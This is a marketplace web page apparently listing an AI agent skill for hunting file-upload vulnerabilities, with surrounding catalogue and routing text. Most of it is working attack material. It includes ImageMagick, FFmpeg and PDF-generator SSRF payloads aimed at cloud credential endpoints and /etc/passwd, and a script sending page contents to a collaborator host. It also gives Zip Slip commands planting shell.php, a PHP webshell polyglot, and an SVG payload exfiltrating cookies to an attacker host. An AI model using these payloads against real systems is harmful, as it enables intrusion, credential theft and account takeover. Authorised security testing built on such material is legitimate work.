Answers from the documentation; checking which model is on duty
Hi - I answer from the OpenSmartRoute documentation: routing, the API, plans and quotas, self-hosting. Ask away, or open a support ticket if you need a person.
Grounded in the docs - follow a source before acting on it.
hunt-file-upload - Skill - OpenSmartRoute
Skillv1.0.0
hunt-file-upload
Hunt file upload bugs — RCE via webshell, XSS via SVG/HTML, SSRF via XXE in DOCX, path traversal via filename.
Imported from elementalsouls/claude-bughunter (skills/hunt-file-upload/SKILL.md) via skills.sh. Install upstream with npx skills add elementalsouls/claude-bughunter --skill hunt-file-upload. Copyright stays with the author.
ImageMagick SSRF / File Read (ImageTragick family + modern variants)
# Upload this as a .mvg or rename to .jpg/.png (magic bytes bypass)# MVG SSRF payload — fetches internal URL during processingcat > /tmp/ssrf.mvg << 'EOF'push graphic-contextviewbox 0 0 640 480fill 'url(http://169.254.169.254/latest/meta-data/iam/security-credentials/)'pop graphic-contextEOF# SVG SSRF (ImageMagick processes SVG remotely)cat > /tmp/ssrf.svg << 'EOF'<?xml version="1.0"?><!DOCTYPE test [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <image xlink:href="http://COLLAB_HOST/imagemagick-ssrf" width="200" height="200"/></svg>EOF# WebP/AVIF processing bugs (modern surface — CVE-2023-4863)# Upload a crafted WebP file targeting libwebp heap overflow# Use: https://github.com/mistymntncop/CVE-2023-4863 PoC
FFmpeg SSRF via HLS Playlist
# FFmpeg processes m3u8 playlists and fetches referenced segmentscat > /tmp/ssrf.m3u8 << 'EOF'#EXTM3U#EXT-X-MEDIA-SEQUENCE:0#EXTINF:10.0,http://169.254.169.254/latest/meta-data/iam/security-credentials/#EXT-X-ENDLISTEOF# Also works with concat demuxercat > /tmp/concat.txt << 'EOF'ffconcat version 1.0file 'http://COLLAB_HOST/ffmpeg-ssrf'EOF# Test: upload .m3u8 or video file to any video processing endpoint
Headless Chrome / PDF Generator SSRF
HTML → PDF Converter Attacks
# Target: invoice generators, report exporters, screenshot services# Inject HTML that causes headless Chrome to fetch internal resources# SSRF via CSS importPAYLOAD='<html><head><style>@import url("http://169.254.169.254/latest/meta-data/");</style></head><body>test</body></html>'# SSRF via HTML iframePAYLOAD='<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/" width="1000" height="1000"></iframe></body></html>'# Local file readPAYLOAD='<html><body><iframe src="file:///etc/passwd" width="1000" height="1000"></iframe></body></html>'# JavaScript execution (if sandbox not enforced)PAYLOAD='<html><body><script>fetch("http://COLLAB_HOST/chrome-rce?d=" + encodeURIComponent(document.documentElement.innerHTML));</script></body></html>'# Test: submit HTML to any /generate-pdf, /export, /screenshot, /report endpointcurl -s -X POST "https://$TARGET/api/generate-pdf" \ -H "Content-Type: application/json" \ -d "{\"html\": \"$PAYLOAD\"}"
Archive Extraction Attacks (Zip Slip / Symlink)
# Zip Slip — path traversal via archive filenamespip3 install evilarcpython3 evilarc.py shell.php -o unix -p "../../../var/www/html/" -d 5 -f /tmp/zipslip.zip# Symlink attack — archive contains symlink to sensitive filemkdir -p /tmp/sym_attackln -s /etc/passwd /tmp/sym_attack/innocent.txtzip -ry /tmp/symlink.zip /tmp/sym_attack/# TAR symlink attacktar --create --file=/tmp/symlink.tar --dereference /tmp/sym_attack/# Test: upload to any /import, /extract, /unzip endpointcurl -s -X POST "https://$TARGET/api/import" \ -F "file=@/tmp/zipslip.zip"
Related Skills & Chains
hunt-rce — File upload is the most common path to RCE on classic PHP/JSP/ASPX stacks once you find a directly-served upload directory or a deserializer-fed processor. Chain primitive: polyglot GIF89a;<?php system($_GET['c']);?> bypasses magic-byte check + .phtml extension bypasses allowlist → GET /uploads/shell.phtml?c=id → RCE; or PHP phar:// upload to a sink calling file_exists() on the attacker-controlled path → PHP object deserialization → RCE.
hunt-xxe — Office formats (DOCX/XLSX/PPTX), SVGs, and SOAP attachments are XML inside a ZIP — every upload-and-parse feature is a latent XXE candidate. Chain primitive: upload DOCX whose [Content_Types].xml or word/document.xml includes a parameter-entity DTD pointing at attacker-controlled DTD → blind XXE OOB file read → exfil /etc/passwd or web.config via the document parser.
hunt-xss — SVGs, HTML files, and PDFs uploaded then served on the same origin are stored-XSS factories. Chain primitive: upload SVG with <script>fetch('//attacker/?'+document.cookie)</script> → victim views attachment at app.target.com/uploads/x.svg (same origin, not sandboxed) → cookie theft → ATO via session hijack.
hunt-ssrf — Image-processing libraries (ImageMagick, ffmpeg) fetch remote URLs from inside the uploaded file. Chain primitive: upload an SVG/MVG with <image xlink:href="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> or ffmpeg concat:http://internal/... → SSRF to AWS IMDS → cloud creds; the ImageTragick CVE-2016-3714 family is still alive on legacy farms.
security-arsenal — Reach for the file-upload bypass tree: 10-row extension/MIME/magic-byte bypass table (double-ext, null-byte, case variants, .phtml/.phar/.php5/.pht, .htaccess upload to re-enable handlers, web.config upload on IIS), SVG/MVG/SVGZ payloads, DOCX-XXE templates, ZIP-slip path traversal in archives, polyglot generators.
triage-validation — Apply the Reproducibility Gate. A file successfully uploaded but never served, never executed, never parsed by anything is not a finding — it's a write-only blob. Critical RCE requires the actual whoami round-trip from the uploaded shell; stored XSS requires the popup firing in a victim browser, not just the file existing on disk.
Installed into a catalogue, chosen by a router
Install hunt-file-upload and it becomes one more candidate the router can pick - when it fits.
A listing is a routing target with a manifest: what it does, which domains it covers, what it costs and who publishes it. Once installed it sits beside your own models and tools, is scored like any other candidate for each request, and shows up in the trace when it wins. Ratings come from workspaces that installed it, one per account.
When a provider is down or over quota the request moves on; the trace says it did.
Use it
Copy one of these into your project. Installing also returns the manifest and these snippets.
# after Install: the listing is in your workspace's routing pool - a plan picks it for its slotcurl-s-X POST https://api.opensmartroute.ai/api/v1/route -H 'Authorization: Bearer $OSR_API_KEY' -H 'Content-Type: application/json' -d '{"text": "...", "plan": true}'
Manifest
An Open Capability Manifest: the router reads it to know what this does, what it costs and when to pick it.